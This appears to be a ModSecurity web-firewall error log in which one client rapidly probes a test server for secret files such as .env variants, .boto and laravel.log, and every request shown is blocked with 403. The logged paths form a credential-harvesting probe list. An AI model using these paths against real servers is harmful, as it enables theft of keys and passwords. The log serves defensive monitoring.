[Thu Feb 26 01:02:48.685303 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4NwAAAAY&quot;]
[Thu Feb 26 01:02:48.703155 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.boto&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .boto found within REQUEST_FILENAME: /.boto&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlAAAAAAI&quot;]
[Thu Feb 26 01:02:48.703367 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlAAAAAAI&quot;]
[Thu Feb 26 01:02:48.703526 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlAAAAAAI&quot;]
[Thu Feb 26 01:02:48.709971 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4OAAAAAY&quot;]
[Thu Feb 26 01:02:48.710177 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4OAAAAAY&quot;]
[Thu Feb 26 01:02:48.710323 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4OAAAAAY&quot;]
[Thu Feb 26 01:02:48.741934 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4OQAAAAY&quot;]
[Thu Feb 26 01:02:48.742139 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4OQAAAAY&quot;]
[Thu Feb 26 01:02:48.742296 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4OQAAAAY&quot;]
[Thu Feb 26 01:02:48.761111 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.c9/metadata/environment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlAgAAAAI&quot;]
[Thu Feb 26 01:02:48.761325 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlAgAAAAI&quot;]
[Thu Feb 26 01:02:48.761473 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlAgAAAAI&quot;]
[Thu Feb 26 01:02:48.787244 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4OgAAAAY&quot;]
[Thu Feb 26 01:02:48.787463 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4OgAAAAY&quot;]
[Thu Feb 26 01:02:48.787627 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4OgAAAAY&quot;]
[Thu Feb 26 01:02:48.824224 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.circleci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlAwAAAAI&quot;]
[Thu Feb 26 01:02:48.824447 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlAwAAAAI&quot;]
[Thu Feb 26 01:02:48.824622 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlAwAAAAI&quot;]
[Thu Feb 26 01:02:48.825624 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4OwAAAAY&quot;]
[Thu Feb 26 01:02:48.825830 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4OwAAAAY&quot;]
[Thu Feb 26 01:02:48.825983 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4OwAAAAY&quot;]
[Thu Feb 26 01:02:48.934705 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/app/private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4PQAAAAY&quot;]
[Thu Feb 26 01:02:48.934974 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4PQAAAAY&quot;]
[Thu Feb 26 01:02:48.935147 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4PQAAAAY&quot;]
[Thu Feb 26 01:02:48.960882 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlBgAAAAI&quot;]
[Thu Feb 26 01:02:48.961157 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlBgAAAAI&quot;]
[Thu Feb 26 01:02:48.961331 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlBgAAAAI&quot;]
[Thu Feb 26 01:02:48.992026 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4PgAAAAY&quot;]
[Thu Feb 26 01:02:48.992647 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4PgAAAAY&quot;]
[Thu Feb 26 01:02:48.992822 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4PgAAAAY&quot;]
[Thu Feb 26 01:02:48.993289 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlBwAAAAI&quot;]
